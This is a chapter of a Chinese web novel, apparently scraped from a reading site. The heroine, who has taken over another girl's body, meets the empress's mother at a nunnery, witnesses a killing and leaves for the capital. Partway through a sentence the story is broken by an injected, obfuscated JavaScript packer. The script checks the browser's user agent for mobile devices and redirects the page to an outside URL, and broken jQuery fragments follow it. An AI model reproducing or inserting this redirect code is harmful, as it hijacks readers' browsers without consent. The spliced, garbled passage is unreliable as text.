2. 第 2 章

    皎月入云,夜色无边。


    那房中烛火明亮,祝泽离开时眼睛还未适应周遭的昏黑,匆忙之间撞到了人,惊出一身冷汗。若就是这人就是杀了谢至,那么祝泽怕是马上就会成为下一个谢至了。


    只听见瓷器碎裂后,那人抓着祝泽的衣领就厉声呵责:“你这小孩怎么走路的?这茶是太后赠予老夫人的,统共就这几两,现下全落了地,拾起来也不能再喝!”


    听见这人只是在说茶叶,祝泽悬着的心一下就放下许多。


    那人说完就放开祝泽的衣领,紧接着换了只手死死钳制住祝泽的手臂。


    祝泽连声道歉后胡诌到:“我只是想借着夜色找些吃食,却不小心走岔了路,刚才听见周围有脚步声就一时慌了神,冲撞了您实在不好意思。”


    “这是老夫人的东西,你不必跟我解释,”那人说着就将祝泽拽着走,祝泽的手臂被抓得生疼,另一只手一直拍打那人,那人却只是自顾自念叨着:“你这厮休想逃,速速跟我去老夫人面前领罪。”


    这老妇说了多次老夫人,祝泽心里萌生出一个大胆的猜想:她口中的老夫人会不会就是那暂居庵中的贵人。


    反正都是要去找人的,这么去找还有个正当理由。


    想到这里祝泽便没再挣扎,任凭那人揪拽着她走。其实祝泽挣扎也没用,现在这具小孩子的身体实在没什么力气。


    祝泽就这么被拖到那位老夫人的面前。


    “恩雁,这是发生了何事?”主座上的人声调平稳,说话间瞟了一眼祝泽。


    “夫人,这孩子方才撞掉了太后赠您的茶叶,老奴就将她擒了来。”


    “这是何必,几两茶叶罢了。”


    “可太后若是知道了,定会借此事做文章……”


    恩雁的话被老夫人打断:“你先退下,去把那茶叶处理了,我有话同这孩子说。”


    待到恩雁走后祝泽才抬起头,细细端详主座上的老夫人,可惜她没有关于这个人的记忆。


    “孩子,你缘何深夜来这后山?”


    这老夫人心思深沉,不知是敌是友,之前对付恩雁的那套措辞她自是不会相信。暂且不论善堂里有一堆米面,单说迷路,有谁能从山前迷到这漆黑的后山?


    情况不明,祝泽默不作答,要先知道老夫人留她问话的意图后才能应对。


    “老身是皇后生母,你若没做什么伤天害理的事,保你一个小儿不是什么难事。”


    撞翻了茶叶还不罚她,这老夫人该是宽厚心善的,可这也不能确定她与杀谢至的人没什么关系。


    老夫人的话都说到这份儿上了,祝泽再不回答就该失去这唯一能回京的机会了。


    “小女欲进京寻亲,路遇山匪劫道,脱险后失了方向才来到这庵中。贸然闯进后山只因听闻有贵人暂居于此,害怕出庵后再遇山匪,斗胆求贵人大发善心捎带小女入京。”


    “听听,这天下何时这般不太平?山匪竟都闹到京郊来了。”老夫人说完就忍不住发笑。


    在她的笑声中,祝泽一度怀疑自己的脑子是死前上班上废掉了。


    “老夫人恕罪!小女不敢欺瞒,那劫道的并非山匪,是家中派来抓我的人。家父好赌,想将我卖换成钱财,求老夫人垂怜,勿要将小女交给那伙人。”祝泽连忙找补。


    就在祝泽才松了一口气的时候恩雁突然推门闯了进来,从祝泽身边匆匆而过径直走向座上的老夫人,一阵香风紧随其后。


    这香味和那杂物间周围的一样,恩雁难道是去看了谢至的尸体?


    祝泽抬头看见恩雁在老夫人耳边低声说话,老夫人的神色霎时凝重起来。


    “老夫人允你一道,明日正午在大殿外候着,且退下吧。”


    祝泽闻言叩谢老夫人,随即离开了后山。


    若她们对此事毫不知情,那么凶手为什么敢明目张胆的把尸体扔在后山;若她们就是凶手,应该早就把祝泽杀了。


    祝泽思考着,一瞬间觉得回京这件小事,像是变成了一场拿生命做注的豪赌。


    一日的奔波让祝泽的身体万分疲乏,即便如此祝泽还是难以入眠。


    现如今谢至死了,她就是祝泽。


    可原主想要的真的只是让谢至死吗?她应该更想知道谢至杀她的原因。


    疑问和想法在祝泽脑海里盘旋,不知何时她才睡着。


    祝泽醒来时天色未明,她从客舍的窗户望出去,金星做伴,月偏西山,上一次看见这般景象还是在通勤途中。


    还没开始想那些有关生死的沉重问题,祝泽就看见院中有一个白色的人影向后山的方向移动。


    祝泽没多想就遥遥跟上那人影,一直走到了彻夜燃烛的杂物间。


    在那人进入房间的前一刻祝泽看清了她的脸,她是祝泽昨日遇见的师太。


    在师太转身环顾四周时,她的目光停驻在祝泽藏身的灌木丛上,像是透过枝叶抓住了祝泽。


    但还好她只是这么盯着灌木丛看了一会儿,随后便推门进去了。


    借着师太开门的瞬间,祝泽看见昨晚还杂乱的房间里除开烛台之外再无他物,就连谢至的尸体也不见了。


    墙面与地面布满密密麻麻的红色符文,不知是在祭拜何方鬼神。


    眼瞧着天边有了几分亮色,想必庵中也快鸣钟了。祝泽没再继续靠近杂物间,转身回了客舍。


    其实就算没看见师太的脸祝泽也能猜到七七八八,有胆子在西山庵干这些事必然是与这方主人脱不开关系。


    日中将至,山前没有一点儿异样,不知后山是何情况。


    “小施主,为何一直在大殿外傻站着?”一个看起来年龄比祝泽还小的小尼姑问道。


    祝泽见她年纪小也没有多疑,遂将实情述出:“我今日欲离庵归京,在此处等候师太向她作别。”


    “那你再等等吧,我今日也一直没见到师父。”语罢,小尼姑便背上背篓出了山门。


    山门大开,得见外边停了一队人马。


    只听利剑出鞘之声,待祝泽反应过来时小尼姑的血已顺着高阶蜿蜒而下。


    那领头的人招呼手下将小尼姑的尸体拖走,随后接过身旁人递上的方帕擦拭着沾血的剑身。


    他抬眸看见山门内盯着他的祝泽时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154531|164904||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    ,擦剑的手顿了一下。


    随后他对祝泽喊了句:“神童,还记得小爷我吗?”


    这人,祝泽知道。他与皇后是族亲,叫戚行宣,年方十七。


    戚行宣幼时与原主同在学宫听学,但这人不受教,时常带着一伙纨绔捉弄夫子,还说原主只会写些俗诗烂词算什么神童云云。


    这人幼稚无礼且一向看不惯祝家,原主不屑与之计较,祝泽现在也不想搭理他。


    戚行宣在山门外向祝泽招手,示意她出去。


    祝泽没理会他,她只是打量着眼前这些人还有队伍前方挂着“戚”字灯笼的马车,他们是来接后山那位老夫人的。


    祝泽才念及老夫人,老夫人就来了。


    “孩子,愣在此处干什么,走吧。”恩雁说着一边向祝泽招手让她跟在自己身后。


    祝泽不敢问他们为什么要杀了那小尼姑,只是默默跟在恩雁身后。


    她醒来后遇见的这些事都不是现在的她有能力解决的,知道了又能如何。


    谢至虽未曾得职却也是去岁探花,更有一位位列三公的父亲,他死了朝中和他父亲都会派人去查的。


    只是长青和柳生现在生死不明,祝泽不知道该怎么向原主交代。


    除开谢至,原主最信任的就只有她们,这得从原主的身世说起——


    祝泽的母亲是当朝长公主,谥号知世。


    十七年前知世与当时的榜眼也就是谢至的父亲私通,当时的谢家不过边陲乡镇的一清白人家,高中的谢父成为新帝手中最得力的一把刀,他也是后来圣上与太后夺权棋局中定胜负的那颗棋子。


    当时的太后唯恐皇帝拿知世当夺权的棋子,便默默将私通一事压了下去,当年中秋就给知世与祝宥生赐婚。


    下嫁到一个不涉政事的百年世家,虽说富贵不比从前,但知世可安稳随心过活一生。


    世上没有不透风的墙,宫中的那些腌臜事瞒不过所有人,祝家一早就知道,但迫于权势他们不得不接下懿旨,替皇家接下这高贵的烂摊子。


    两年后,知世和祝宥生两人误饮了家中小辈互相捉弄下有药的酒,待到他们发现祝泽的存在时,母子两人性命已系在一起。


    产下祝泽后不过三月,知世就病逝了。


    祝泽确实是一个有身份有权势的嫡长女,人人都敬她,可除了祝宥生的愧疚外府中无人愿意给她一点儿属于亲人的情分。


    柳生和长青两个孩子,是祝泽自己捡回府的,故而似友如亲。


    其中主观的判断来自于原主,祝泽并不认同。凭着记忆,祝泽觉得府中人对原主挺好的,倒是这两个孩子有些可疑。


    不过念及祝泽的身世,她才想起来此前撞倒的茶叶是太后赠予老夫人的。加上昨晚恩雁的那句“太后若是知道了定会大做文章”,祝泽推断太后与老夫人之间怕是有恩怨。


    跟在马车后的祝泽长舒一口气,心中庆幸还好没有让老夫人知道她是谁。要是老夫人和太后仇怨甚深,搞不好老夫人首先就拿她开刀了。


    “老夫人邀你上马车一叙,祝泽。”恩雁的声音冷不丁的在前方响起。